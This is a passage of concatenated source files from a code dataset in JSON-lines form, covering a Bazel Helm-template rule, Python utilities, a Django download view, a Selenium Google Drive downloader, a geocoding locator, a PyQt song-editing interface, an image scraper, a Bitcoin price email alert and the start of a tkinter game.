_helm_template_impl(ctx):\n args = [\n ctx.attr.name if ctx.attr.release_name == \"\" else ctx.attr.release_name,\n ctx.file.chart_tar.path,\n ]\n inputs = [ctx.file.chart_tar]\n options = []\n\n if len(ctx.attr.namespace) > 0:\n options.append(\"--namespace %s\" % ctx.attr.namespace)\n for variable, value in ctx.attr.values.items():\n options.append(\"--set %s=%s\" % (variable, value))\n if ctx.file.values_yaml_file != None:\n inputs.append(ctx.file.values_yaml_file)\n options.append(\"--values %s\" % ctx.file.values_yaml_file.path)\n\n out = ctx.actions.declare_file(ctx.attr.name + \".yaml\")\n ctx.actions.run_shell(\n tools = [ctx.executable.helm_tool],\n inputs = inputs,\n outputs = [out],\n progress_message = \"Rendering Helm chart for %s\" % ctx.file.chart_tar.path,\n command = \"%s %s %s %s > %s\" % (\n ctx.executable.helm_tool.path,\n \"template\",\n \" \".join(args),\n \" \".join(options),\n out.path,\n ),\n )\n return [DefaultInfo(files = depset([out]))]\n\nhelm_template = rule(\n implementation = _helm_template_impl,\n attrs = {\n \"chart_tar\": attr.label(allow_single_file = True, mandatory = True),\n \"release_name\": attr.string(),\n \"namespace\": attr.string(),\n \"values\": attr.string_dict(),\n \"values_yaml_file\": attr.label(allow_single_file = True),\n \"options\": attr.string_list(default = []),\n \"helm_tool\": attr.label(\n executable = True,\n cfg = \"host\",\n allow_single_file = True,\n default = Label(\"@helm//:helm\"),\n ),\n },\n)\n","sub_path":"internal/helm/helm.bzl","file_name":"helm.bzl","file_ext":"bzl","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"374724539","text":"\"\"\"A module for generic data structure processing functions.\"\"\"\n\nimport os\nimport re\n\nMD5_RE = re.compile(r\"^[0123456789abcdef]{32}$\")\nPKGNAME_TICKER_RE = re.compile(r'^CSW')\nPKGNAME_CHARS_RE = re.compile(r'[A-Za-z0-9\\+]+')\n\n\ndef IndexDictsBy(list_of_dicts, field_key):\n \"\"\"Creates an index of list of dictionaries by a field name.\n\n Returns a dictionary of lists.\n \"\"\"\n index = {}\n for d in list_of_dicts:\n index.setdefault(d[field_key], [])\n index[d[field_key]].append(d)\n return index\n\n\ndef IndexNamedtuplesBy(list_of_namedtuples, field_key):\n \"\"\"Creates an index of list of dictionaries by a field name.\n\n Returns a dictionary of lists.\n \"\"\"\n index = {}\n for named_tuple in list_of_namedtuples:\n value = getattr(named_tuple, field_key)\n index.setdefault(value, []).append(named_tuple)\n return index\n\n\ndef OsReleaseToLong(osrel):\n if osrel.startswith(\"SunOS\"):\n return osrel\n else:\n return \"SunOS%s\" % osrel\n\n\ndef ResolveSymlink(link_from, link_to):\n target = os.path.normpath(\n os.path.join(os.path.dirname(link_from), link_to))\n return target\n\n\ndef IsMd5(s):\n # For optimization, moving the compilation to the top level.\n return MD5_RE.match(s)\n\n\ndef MakeCatalognameByPkgname(pkgname):\n catalogname = re.sub(PKGNAME_TICKER_RE, '', pkgname)\n catalogname = \"_\".join(re.findall(PKGNAME_CHARS_RE, catalogname))\n return catalogname\n","sub_path":"csw/mgar/gar/v2/lib/python/struct_util.py","file_name":"struct_util.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"192022018","text":"import os\n\nfrom django.http import HttpResponse, Http404\nfrom django.conf import settings\n\nfrom .models import Shooting\n\n\ndef download(request, pk):\n file_location = Shooting.objects.get(pk=pk).confirmation.path\n file_path = os.path.join(settings.MEDIA_ROOT, file_location)\n if os.path.exists(file_path):\n with open(file_path, \"rb\") as fh:\n response = HttpResponse(fh.read(), content_type=\"application/vnd.ms-excel\")\n response[\"Content-Disposition\"] = \"inline; filename=\" + os.path.basename(\n file_path\n )\n return response\n raise Http404\n","sub_path":"src/hobby/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"277634217","text":"import os\nimport sys\nimport time\nimport os.path\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom sys import platform as _platform\n\n\nclass GurlDownSelenium:\n\n def __init__(self, headless_option):\n self.timed_out_list = []\n self.failed_list = []\n self.url = None\n self.download_location = None\n self.headless = headless_option\n\n def set_url(self, url):\n self.url = url\n return self\n\n def set_download_location(self, location):\n self.download_location = location\n if not self.download_location:\n self.download_location = self.get_download_path()\n\n def download_file(self):\n if os.name == 'nt':\n chrome_path = \"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\"\n chrome_driver_path = \".\\\\chromedriver.exe\"\n else:\n chrome_path = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'\n chrome_driver_path = './chromedriver'\n\n WINDOW_SIZE = \"1024,700\"\n\n chrome_options = webdriver.ChromeOptions()\n if self.headless:\n chrome_options.add_argument(\"--headless\")\n if self.download_location:\n prefs = {\n \"download.default_directory\": self.download_location,\n \"download.prompt_for_download\": False,\n \"download.directory_upgrade\": True\n }\n chrome_options.add_experimental_option('prefs', prefs)\n chrome_options.add_argument(\"--window-size=%s\" % WINDOW_SIZE)\n chrome_options.binary_location = chrome_path\n\n driver = webdriver.Chrome(executable_path=chrome_driver_path,\n chrome_options=chrome_options\n )\n # driver.minimize_window()\n driver.get(self.url)\n\n if self.download_location:\n self.enable_download_in_headless_chrome(driver, self.download_location)\n else:\n self.enable_download_in_headless_chrome(driver, self.get_download_path())\n\n if not self.is_page_valid(driver):\n self.failed_list.append(self.url)\n driver.quit()\n return\n self.cleanup_download_location()\n\n # if reached to download page, handle it\n self.handle_download_page(driver)\n\n # if reached to virus check page, handle it\n self.handle_virus_check_page(driver)\n\n # wait downloading\n if self.headless:\n state = self.wait_until_download_completed_headless(driver)\n else:\n state = self.wait_until_download_completed(driver)\n\n if state:\n sys.stdout.write(\"\\rDownload completed, Moving on to the next file\")\n sys.stdout.flush()\n print(\"\\r\")\n\n driver.quit()\n\n def cleanup_download_location(self):\n crd_files = [file for file in os.listdir(self.download_location) if file.endswith(\"crdownload\")]\n try:\n for file in crd_files:\n os.remove(os.path.join(self.download_location, file))\n except PermissionError:\n print(\"crdlownload is being used {0}\".format(file))\n\n def wait_until_download_completed_headless(self, driver):\n max_time = 60 # 1 min idle timeout\n end_time = time.time() + max_time\n time.sleep(2)\n sum_before = -1\n\n while True:\n # if download in progress\n sum_after = sum([os.stat(os.path.join(self.download_location, file)).st_size for file in\n os.listdir(self.download_location)])\n if sum_before != sum_after:\n sum_before = sum_after\n crd_size = sum([os.stat(os.path.join(self.download_location, file)).st_size for file in\n os.listdir(self.download_location) if file.endswith(\"crdownload\")]) / 1024\n sys.stdout.write(\"\\rDownload Progress {:.2f} KB\".format(crd_size))\n sys.stdout.flush()\n end_time = time.time() + max_time # time out extend\n\n time.sleep(0.5)\n crd_size = [os.stat(os.path.join(self.download_location, file)).st_size for file in\n os.listdir(self.download_location) if\n file.endswith(\"crdownload\")]\n\n if len(crd_size) == 0:\n return True\n\n if time.time() > end_time:\n self.timed_out_list.append(self.url)\n print('Download timed out')\n return False\n\n def wait_until_download_completed(self, driver):\n max_time = 60 # 1분 timeout\n driver.execute_script(\"window.open()\")\n # switch to new tab\n driver.switch_to.window(driver.window_handles[-1])\n # navigate to chrome downloads\n driver.get('chrome://downloads')\n # define the end_time\n end_time = time.time() + max_time\n while True:\n try:\n # get the download percentage\n status, progress = self.get_top_download_state(driver)\n\n if status == 'COMPLETE':\n return True\n elif status == 'IN_PROGRESS':\n sys.stdout.write(\"\\rDownload Progress {0}\".format(progress))\n sys.stdout.flush()\n end_time = time.time() + max_time\n elif status == 'PAUSED':\n sys.stdout.write(\"\\rPaused..\")\n sys.stdout.flush()\n end_time = time.time() + max_time # timeout extend\n elif status == 'INTERRUPTED':\n sys.stdout.write(\"\\rInterrupted! Wait...\")\n sys.stdout.flush()\n elif status == 'CANCELLED':\n print(\"Cancelled\")\n self.failed_list.append(self.url)\n return False\n except:\n pass\n # wait for 1 second before checking the percentage next time\n time.sleep(1)\n # exit method if the download not completed with in MaxTime.\n if time.time() > end_time:\n self.timed_out_list.append(self.url)\n print('Download timed out')\n return False\n\n def save_log(self):\n if len(self.failed_list) > 0:\n f = open(\"failed.txt\", \"w+\")\n f.write(\"\\n\".join(self.failed_list))\n\n if len(self.timed_out_list) > 0:\n f = open(\"timed_out.txt\", \"w+\")\n f.write(\"\\n\".join(self.timed_out_list))\n\n @staticmethod\n def handle_virus_check_page(driver):\n\n for handle in driver.window_handles:\n driver.switch_to_window(handle)\n if driver.title == 'Google Drive - Virus scan warning':\n try:\n driver.find_element_by_id(\"uc-download-link\").click()\n return\n except NoSuchElementException:\n print(\"Download link not found, continue..\")\n print('Virus check page not reached')\n\n @staticmethod\n def handle_download_page(driver):\n\n if driver.title.find(\"- Google Drive\") != -1:\n try:\n driver.find_elements_by_xpath(\"//*[contains(text(), 'Download')]\")[0].click()\n except NoSuchElementException:\n print(\"Download Button not found by css_selector, continue..\")\n\n @staticmethod\n def is_page_valid(driver):\n\n # page title says Not Found return\n if driver.title == 'Not Found':\n print(\"Page Not Found: moving on to the next request...\\n\")\n return False\n\n # if error-code object is seen return false\n try:\n error_code = driver.find_element_by_class_name(\"error-code\")\n print(\"Err: \" + error_code.Text + \" moving on to the next request\\n\")\n except NoSuchElementException:\n pass\n\n # if loaded empty page\n if driver.title == '':\n print(\"Reached empty page. moving on to the next request!\\n\")\n\n return True\n\n # https://stackoverflow.com/questions/45631715/downloading-with-chrome-headless-and-selenium\n @staticmethod\n def enable_download_in_headless_chrome(driver, download_dir):\n driver.command_executor._commands[\"send_command\"] = (\"POST\", '/session/$sessionId/chromium/send_command')\n params = {'cmd': 'Page.setDownloadBehavior',\n 'params': {'behavior': 'allow', 'downloadPath': download_dir}}\n command_result = driver.execute(\"send_command\", params)\n\n @staticmethod\n def get_top_download_state(driver):\n \"\"\"Call this after running driver.get(\"chrome://downloads\").\"\"\"\n\n [state, progress] = driver.execute_script(\"\"\"\n var item = downloads.Manager.get().items_[0];\n var state = item.state; \n var progress = item.progressStatusText;\n return [state, progress];\n \"\"\")\n\n return state, progress\n\n @staticmethod\n def get_download_path():\n \"\"\"Returns the default downloads path for linux or windows\"\"\"\n if _platform == \"win32\" or _platform == \"win64\":\n import winreg\n sub_key = r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders'\n downloads_guid = '{374DE290-123F-4565-9164-39C4925E467B}'\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, sub_key) as key:\n location = winreg.QueryValueEx(key, downloads_guid)[0]\n return location\n elif _platform == \"darwin\":\n return os.path.join(os.path.expanduser('~'), 'downloads')\n elif _platform == \"linux\" or _platform == \"linux2\":\n return os.path.join(os.path.expanduser('~'), 'Downloads')\n","sub_path":"GurlDownSelenium.py","file_name":"GurlDownSelenium.py","file_ext":"py","file_size_in_byte":9765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"365213441","text":"from asyncio.events import AbstractEventLoop\nimport asyncio\nimport aiohttp\nimport config\nimport json\nimport territory\n\n\nclass Locator:\n def __init__(self, loop: AbstractEventLoop):\n self._timeout = aiohttp.ClientTimeout(connect=5)\n self._boundaries = {}\n self.loop = loop\n\n async def __get_boundary(self,\n region: str) -> None:\n region_name = config.OSM_REGIONS[region]\n url = 'http://nominatim.openstreetmap.org/search?'\n\n params = (\n ('format', 'json'),\n ('q', region_name),\n ('polygon_geojson', 1)\n )\n\n try:\n async with aiohttp.ClientSession() as http_session:\n async with http_session.get(url,\n params=params,\n timeout=self._timeout) as response:\n if response.status != 200:\n return None\n\n resp_json = await response.json(content_type=None)\n boundary = resp_json[0]['geojson']['coordinates'][0]\n\n except aiohttp.client_exceptions.ServerTimeoutError:\n boundary = []\n\n except aiohttp.client_exceptions.ClientOSError:\n boundary = []\n\n except json.JSONDecodeError:\n boundary = []\n\n except IndexError:\n boundary = []\n\n if not boundary:\n await asyncio.sleep(5)\n await self.__get_boundary(region)\n else:\n self._boundaries[region] = boundary\n\n async def download_boundaries(self):\n tasks = []\n\n for region in config.OSM_REGIONS:\n task = asyncio.create_task(self.__get_boundary(region))\n tasks.append(task)\n\n asyncio.gather(*tasks)\n\n def __point_is_in_polygon(self, boundary, longitude, latitude):\n overlap = False\n vertices_amount = len(boundary)\n j = vertices_amount - 1\n\n for i in range(vertices_amount - 1):\n if (((boundary[i][0] > longitude) !=\n (boundary[j][0] > longitude)) and\n (latitude <\n (boundary[j][1] - boundary[i][1]) *\n (longitude - boundary[i][0]) /\n (boundary[j][0] - boundary[i][0]) + boundary[i][1])):\n overlap = not overlap\n\n j = i\n\n return overlap\n\n def __areas_in_region(self, boundaries):\n \"\"\"Если регион разбит на части, то будем возвращать каждую\"\"\"\n try:\n if isinstance(boundaries[0][0], list):\n for boundary in boundaries:\n if isinstance(boundary[0][0], list):\n yield self.__areas_in_region(boundary)\n else:\n yield boundary\n else:\n yield boundaries\n except IndexError:\n yield []\n\n async def get_region(self, coordinates, region=None):\n if not isinstance(coordinates, list):\n return None\n\n for region in territory.regions(region):\n if region not in self._boundaries:\n continue\n\n areas = self.__areas_in_region(self._boundaries[region])\n\n for area in areas:\n if self.__point_is_in_polygon(area,\n coordinates[0],\n coordinates[1]):\n if territory.has_subregions(region):\n return await self.get_region(coordinates, region)\n else:\n return region\n\n async def get_address(self, coordinates, language=config.RU):\n coordinates = (str(coordinates[0]) + ', ' + str(coordinates[1]))\n\n if language == config.RU:\n lang = 'ru_RU'\n elif language == config.BY:\n lang = 'be_BY'\n else:\n lang = 'ru_RU'\n\n params = (\n ('geocode', coordinates),\n ('kind', 'house'),\n ('format', 'json'),\n ('apikey', config.YANDEX_MAPS_API_KEY),\n ('lang', lang)\n )\n\n async with aiohttp.ClientSession() as http_session:\n async with http_session.get(config.BASE_YANDEX_MAPS_URL,\n params=params) as response:\n if response.status != 200:\n return None\n\n resp_json = await response.json(content_type=None)\n address_array = resp_json['response']['GeoObjectCollection']\n\n try:\n address_bottom = \\\n address_array['featureMember'][0]['GeoObject']\n\n address = address_bottom['name'] + ', ' +\\\n address_bottom['description']\n except IndexError:\n address = config.ADDRESS_FAIL\n\n return address\n\n async def get_coordinates(self, address):\n params = (\n ('apikey', config.YANDEX_MAPS_API_KEY),\n ('geocode', address),\n ('kind', 'house'),\n ('format', 'json'),\n )\n\n async with aiohttp.ClientSession() as http_session:\n async with http_session.get(config.BASE_YANDEX_MAPS_URL,\n params=params) as response:\n if response.status != 200:\n return None\n\n resp_json = await response.json(content_type=None)\n address_array = resp_json['response']['GeoObjectCollection']\n\n try:\n address_bottom = \\\n address_array['featureMember'][0]['GeoObject']\n\n str_coordinates = address_bottom['Point']['pos']\n str_coordinates = str_coordinates.split(' ')\n\n coordinates = [float(str_coordinates[0]),\n float(str_coordinates[1])]\n except IndexError:\n return None\n\n return coordinates\n","sub_path":"locator.py","file_name":"locator.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"224167033","text":"import sys\nimport datetime\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import (QApplication, QLabel, QListWidgetItem)\nfrom PyQt5.QtCore import (pyqtSignal)\n\nventana_inicio_name, ventana_inicio_class = uic.loadUiType(\"Interfaz/\"\n \"VentanaInicio/ventanainicio.ui\")\nventana_edicion_name, ventana_edicion_class = uic.loadUiType(\"Interfaz/\"\n \"VentanaEdicion/ventanaedicion.ui\")\n\nclass VentanaInicio(ventana_inicio_name, ventana_inicio_class):\n\n ingresar_usuario_signal = pyqtSignal(str)\n editar_cancion_signal = pyqtSignal()\n crear_cancion_signal = pyqtSignal()\n descargar_cancion_signal = pyqtSignal()\n signal_cliente_desconectado = pyqtSignal()\n\n def __init__(self, funcion_ingreso_cancion, funcion_descargar_cancion,\n funcion_editar_cancion, funcion_cliente_desconectado):\n super().__init__()\n self.setupUi(self)\n \"\"\"Funciones de Client\"\"\"\n self.funcion_ingreso_cancion = funcion_ingreso_cancion\n self.funcion_descargar_cancion = funcion_descargar_cancion\n self.funcion_editar_cancion = funcion_editar_cancion\n self.funcion_cliente_desconectado = funcion_cliente_desconectado\n\n self.init_GUI()\n\n def init_GUI(self):\n \"\"\"señales y slots\"\"\"\n #envia al servidor el nombre de usuario ingresado\n #self.cliente_ingresa_signal.connect(self.ingreso_cliente)\n self.editar_button.clicked.connect(self.editar_cancion)\n self.descargar_button.clicked.connect(self.descargar_cancion)\n self.crear_cancion_button.clicked.connect(self.ingreso_cancion)\n self.signal_cliente_desconectado.connect(self.cliente_desconectado)\n self.list_canciones_edicion.itemClicked.connect(\n self.acceder_edicion_cancion_espectador)\n \"\"\"Situaciones actuales en interfaz\"\"\"\n self.canciones = list()\n self.canciones_en_edicion = list()\n self.canciones_listas = list()\n\n \"\"\"Widgets creados\"\"\"\n self.label_error_usuario = QLabel('', self)\n self.label_error_usuario.setGeometry(510, 20, 120, 70)\n self.label_error_usuario.setWordWrap(True)\n self.label_error_usuario.setStyleSheet(\n \"border:1px solid rgb(0, 255, 0)\")\n self.label_error_usuario.hide()\n\n self.diccionario_ventanas_edicion = dict()\n\n self.show()\n\n def update_interfaz_inicio(self, lista_canciones_edicion,\n lista_canciones_listas):\n for cancion_edicion in lista_canciones_edicion:\n item = QListWidgetItem(cancion_edicion)\n self.list_canciones_edicion.addItem(item)\n for cancion_lista in lista_canciones_listas:\n item = QListWidgetItem(cancion_lista)\n self.list_canciones_listas.addItem(item)\n\n def update_lista_edicion(self, lista_canciones_edicion):\n for index in range(self.list_canciones_edicion.count()):\n item = self.list_canciones_edicion.item(index)\n numero_fila_item = self.list_canciones_edicion.row(item)\n self.list_canciones_edicion.takeItem(numero_fila_item)\n for cancion_edicion in lista_canciones_edicion:\n item = QListWidgetItem(cancion_edicion)\n self.list_canciones_edicion.addItem(item)\n\n def update_lista_canciones_listas(self, lista_canciones_listas):\n for index in range(self.list_canciones_listas.count()):\n item = self.list_canciones_listas.item(index)\n numero_fila_item = self.list_canciones_listas.row(item)\n self.list_canciones_listas.takeItem(numero_fila_item)\n for cancion_edicion in lista_canciones_listas:\n item = QListWidgetItem(cancion_edicion)\n self.list_canciones_listas.addItem(item)\n\n def update_ventanas_edicion_cancion(self, cancion, lista_notas):\n for ventana in self.diccionario_ventanas_edicion[cancion]:\n if ventana.modo_visualizacion == \"espectador\":\n ventana.update_notas(lista_notas)\n\n def ingreso_cancion(self):\n cancion = self.le_nueva_cancion.text()\n if cancion != \"\":\n self.funcion_ingreso_cancion(cancion)\n\n def descargar_cancion(self):\n item = self.list_canciones_listas.selectedItems()[0]\n nombre_cancion = item.text()\n self.funcion_descargar_cancion(nombre_cancion)\n\n def editar_cancion(self):\n item = self.list_canciones_listas.selectedItems()[0]\n nombre_cancion = item.text()\n numero_fila_item = self.list_canciones_listas.row(item)\n self.diccionario_ventanas_edicion.append()\n self.list_canciones_listas.takeItem(numero_fila_item)\n self.funcion_editar_cancion(nombre_cancion, \"editor\")\n\n def display_error_nombre_usuario(self, mensaje):\n self.label_error_usuario.hide()\n self.label_error_usuario.setText(mensaje)\n self.label_error_usuario.show()\n\n def display_cancion_lista_edicion(self, evento):\n \"\"\"****\"\"\"\n cancion = evento.cancion\n modo_visualizacion = evento.modo_visualizacion\n funcion_ingreso_nota = evento.funcion_ingreso_nota\n funcion_eliminar_nota = evento.funcion_eliminar_nota\n funcion_mover_cancion_lista_listas = \\\n evento.funcion_mover_cancion_lista_listas\n funcion_mensaje_chat = evento.funcion_mensaje_chat\n lista_notas = evento.lista_notas\n self.label_error_usuario.hide()\n #if modo_visualizacion == \"editor\":\n item = QListWidgetItem(cancion)\n self.list_canciones_edicion.addItem(item)\n self.screen = VentanaEdicion(cancion, modo_visualizacion,\n funcion_ingreso_nota,\n funcion_eliminar_nota,\n funcion_mover_cancion_lista_listas,\n funcion_mensaje_chat)\n if lista_notas is not None:\n self.screen.cargar_notas(lista_notas)\n self.diccionario_ventanas_edicion[cancion] = self.screen\n self.screen.show()\n\n def mover_cancion_a_lista_listas(self, nombre_cancion):\n lista_canciones_edicion = self.get_lista_canciones_edicion()\n index_nombre_cancion = 0\n for cancion in lista_canciones_edicion:\n if cancion.text() == nombre_cancion:\n self.list_canciones_edicion.takeItem(index_nombre_cancion)\n del self.diccionario_ventanas_edicion[nombre_cancion]\n index_nombre_cancion += 1\n item = QListWidgetItem(nombre_cancion)\n self.list_canciones_listas.addItem(item)\n\n def acceder_edicion_cancion_espectador(self):\n item = self.list_canciones_edicion.selectedItems()[0]\n nombre_cancion = item.text()\n self.funcion_editar_cancion(nombre_cancion, \"espectador\")\n\n def cliente_desconectado(self):\n nombre_usuario = self.get_nombre_usuario()\n self.funcion_cliente_desconectado(nombre_usuario)\n\n def get_lista_canciones_edicion(self):\n canciones = []\n for index in range(self.list_canciones_edicion.count()):\n canciones.append(self.list_canciones_edicion.item(index))\n return canciones\n\n def get_nombre_usuario(self):\n usuario = self.le_usuario.text()\n return usuario\n\n def closeEvent(self, event):\n event.accept()\n self.signal_cliente_desconectado.emit()\n\n def close(self):\n exit()\n\nclass VentanaEdicion(ventana_edicion_name, ventana_edicion_class):\n\n signal_mover_cancion_lista_listas = pyqtSignal()\n\n def __init__(self, nombre_cancion, modo_visualizacion, funcion_ingreso_nota\n , funcion_eliminar_nota, funcion_mover_cancion_lista_listas,\n funcion_mensaje_chat):\n super().__init__()\n self.setupUi(self)\n self.init_GUI()\n self.nombre_cancion = nombre_cancion\n self.modo_visualizacion = modo_visualizacion\n self.label_nombre_cancion.setText(self.nombre_cancion)\n self.funcion_ingreso_nota = funcion_ingreso_nota\n self.funcion_eliminar_nota = funcion_eliminar_nota\n self.funcion_mover_cancion_lista_listas = \\\n funcion_mover_cancion_lista_listas\n self.funcion_mensaje_chat = funcion_mensaje_chat\n\n \"\"\"señales y slots\"\"\"\n self.le_chat.returnPressed.connect(self.escribir_chat)\n if self.modo_visualizacion == \"editor\":\n self.agregar_nota_button.clicked.connect(self.enviar_nota)\n self.list_notas.itemClicked.connect(self.eliminar_nota)\n self.signal_mover_cancion_lista_listas.connect(\n self.mover_cancion_lista_listas)\n\n\n def init_GUI(self):\n self.nota = self.le_nota.text()\n self.intensidad = self.le_intensidad.text()\n self.duracion = self.le_duracion.text()\n\n \"\"\"Data para interpretación canciones\"\"\"\n self.diccionario_notas_español = {\"do\": 1, \"do#\": 2, \"re\": 3, \"mib\": 4,\n \"mi\": 5, \"fa\": 6, \"fa#\": 7, \"sol\": 8,\n \"sol#\": 9, \"la\": 10, \"sib\": 11, \"si\":\n 12}\n self.diccionario_notas_inglesa = {\"C\": 1, \"C#\": 2, \"D\": 3, \"Eb\": 4,\n \"E\": 5, \"F\": 6, \"F#\": 7, \"G\": 8,\n \"G#\": 9, \"A\": 10, \"Bb\": 11, \"B\":\n 12}\n self.octavas = [n for n in range(1, 11)]\n self.intensidades = [\"pppp\", \"ppp\", \"pp\", \"p\", \"mp\", \"mf\", \"f\", \"ff\",\n \"fff\", \"ffff\"]\n self.diccionario_duraciones = {\"Redonda\": 1, \"Blanca\": 2, \"Negra\": 3,\n \"Corchea\": 4, \"Semicorchea\": 5,\n \"Fusa\":\n 6, \"Semifusa\": 7}\n\n \"\"\"Widgets creados\"\"\"\n self.label_error_nota = QLabel('', self)\n self.label_error_nota.setGeometry(50, 20, 120, 70)\n self.label_error_nota.setWordWrap(True)\n self.label_error_nota.setStyleSheet(\n \"border:1px solid rgb(0, 255, 0)\")\n self.label_error_nota.hide()\n\n self.show()\n\n def escribir_chat(self):\n mensaje = self.le_chat.text()\n fecha_hora = datetime.datetime.now()\n mensaje_en_chat = \" [\" + str(\n fecha_hora) + \"]: \" + mensaje\n item = QListWidgetItem(mensaje_en_chat)\n self.list_chat.addItem(item)\n self.funcion_mensaje_chat(mensaje, self.nombre_cancion)\n\n def agregar_mensaje_chat(self, mensaje):\n item = QListWidgetItem(mensaje)\n self.list_chat.addItem(item)\n\n def enviar_nota(self):\n nota = self.get_valor_nota()\n escala = int(self.get_valor_escala())\n intensidad = self.get_valor_intensidad()\n duracion = self.get_valor_duracion()\n diccionario_nota = {\"cancion\": self.nombre_cancion, \"nota\": nota,\n \"escala\": escala, \"intensidad\": intensidad,\n \"duracion\": duracion}\n for key, value in diccionario_nota.items():\n if value == \"\":\n return\n self.funcion_ingreso_nota(diccionario_nota)\n\n def eliminacion_update_notas(self, fila):\n self.list_notas.takeItem(fila)\n\n def cargar_notas(self, lista_notas):\n for dict_nota in lista_notas:\n nota = dict_nota[\"nota\"]\n escala = dict_nota[\"escala\"]\n intensidad = str(dict_nota[\"intensidad\"])\n duracion = dict_nota[\"duracion\"]\n if \".\" in str(duracion):\n duracion = duracion * 1.5\n item = QListWidgetItem(\n str(nota) + \" \" + str(escala) + \" \" + intensidad + \" \" + str(\n duracion))\n self.list_notas.addItem(item)\n\n def display_error_nota(self, mensaje):\n self.label_error_nota.hide()\n self.label_error_nota.setText(mensaje)\n self.label_error_nota.show()\n\n def agregar_nota(self, diccionario):\n #Se ejecuta cuando todos los requisitos se cumplen\n self.label_error_nota.hide()\n nota = diccionario[\"nota\"]\n escala = diccionario[\"escala\"]\n intensidad = diccionario[\"intensidad\"]\n duracion = diccionario[\"duracion\"]\n \"\"\"importante el puntillo\"\"\"\n #puntillo = diccionario[\"puntillo\"]\n if \".\" in str(duracion):\n duracion = duracion*1.5\n item = QListWidgetItem(str(nota)+\" \"+str(escala)+\" \"+intensidad+\" \" +\n str(duracion))\n self.list_notas.addItem(item)\n\n def eliminar_nota(self):\n item = self.list_notas.selectedItems()[0]\n numero_fila_item = self.list_notas.row(item)\n self.list_notas.takeItem(numero_fila_item)\n tupla_fila_cancion = (numero_fila_item, self.nombre_cancion)\n self.funcion_eliminar_nota(tupla_fila_cancion)\n\n def mover_cancion_lista_listas(self):\n self.funcion_mover_cancion_lista_listas(self.nombre_cancion)\n\n def get_lista_notas(self):\n notas = []\n for index in range(self.list_notas.count()):\n notas.append(self.list_notas.item(index))\n return notas\n\n def get_valor_nota(self):\n nota = self.le_nota.text()\n return nota\n\n def get_valor_escala(self):\n escala = self.spinBox_escala.value()\n return escala\n\n def get_valor_intensidad(self):\n intensidad = self.le_intensidad.text()\n return intensidad\n\n def get_valor_duracion(self):\n duracion = self.le_duracion.text()\n return duracion\n\n def closeEvent(self, event):\n event.accept()\n if self.modo_visualizacion == \"editor\":\n self.signal_mover_cancion_lista_listas.emit()\n\n def close(self):\n exit()\n\nif __name__ == '__main__':\n\n def hook(type, value, traceback):\n print(type)\n print(traceback)\n sys.__excepthook__ = hook\n app = QApplication([])\n window = VentanaInicio(None, None)\n sys.exit(app.exec_())\n\n\n\n","sub_path":"Tareas/T06/front_end.py","file_name":"front_end.py","file_ext":"py","file_size_in_byte":14088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"395066856","text":"import os\nimport requests\nimport pandas as pd\n\nproductInfo = pd.read_csv(r'productInfo.csv')\n\nfor i in range(len(productInfo['name'])):\n\n directory = productInfo[\"category\"][i].replace(\" \", \"-\")\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n url = productInfo[\"pic1\"][i]\n name = productInfo[\"name\"][i].replace(\" \", \"-\")\n name = name.replace(\"/\", \"-\")\n r = requests.get(url, allow_redirects=True)\n path = directory + '/' + str(i) + '-' + name + '-1.jpg'\n open(path, 'wb').write(r.content)\n\n url = productInfo[\"pic2\"][i]\n r = requests.get(url, allow_redirects=True)\n path = directory + '/' + str(i) + '-' + name + '-2.jpg'\n open(path, 'wb').write(r.content)\n\n print(i)\n\nprint('hi')","sub_path":"urlCrawler.py","file_name":"urlCrawler.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"36961171","text":"import os\nimport urllib\nimport json \nimport smtplib\nfrom email.mime.text import MIMEText\nimport time\n\n\ndef get_data():\n \"\"\"Gets data from blockchain API\"\"\"\n url = 'https://blockchain.info/ticker'\n response = urllib.urlopen(url)\n data = json.loads(response.read())['USD']\n return data\n\n\ndef send_email(message, to_address):\n \"\"\"Sends an email\"\"\"\n sender_address = 'merc.test101@gmail.com'\n message = MIMEText(message)\n server = smtplib.SMTP(\"smtp.gmail.com:587\")\n server.starttls()\n server.login(sender_address, 'your_password_here')\n server.sendmail(sender_address, to_address, message.as_string())\n\n\ndef send_alert_message():\n os.environ['TZ'] = 'US/Central'\n time.tzset() # Set the time zone. Won't work in Windows\n current_time = time.strftime('%H:%M', time.localtime())\n price = get_data()['last']\n message = \"BTC Price Alert! Last: %s. Time: %s\" % (price, current_time)\n send_email(message, '6205068151@messaging.sprintpcs.com')\n\n","sub_path":"alert_functions.py","file_name":"alert_functions.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"488541358","text":"## Se importan las librerias\n\nfrom tkinter import *\nfrom sys import setrecursionlimit\nimport random\n\n## De la libreria \"SYS\" nada mas utilizamos esta funcion para\n## no nos afecte el limite de recursividad\n\nsetrecursionlimit(999999999)\n\n## Creamos la ventana\n\nventana = Tk()\n\n## Esta parte lo unico que hace es colocar el juego en el\n## centro de la pantalla de la computadora\n\nventana.update_idletasks()\nancho = ventana.winfo_screenwidth() - 560\nalto = ventana.winfo_screenheight() - 560\nventana.geometry(\"%dx%d%+d%+d\" % (560, 560, ancho / 2, alto / 2))\n\n## Asiganamos los puntos de salida de 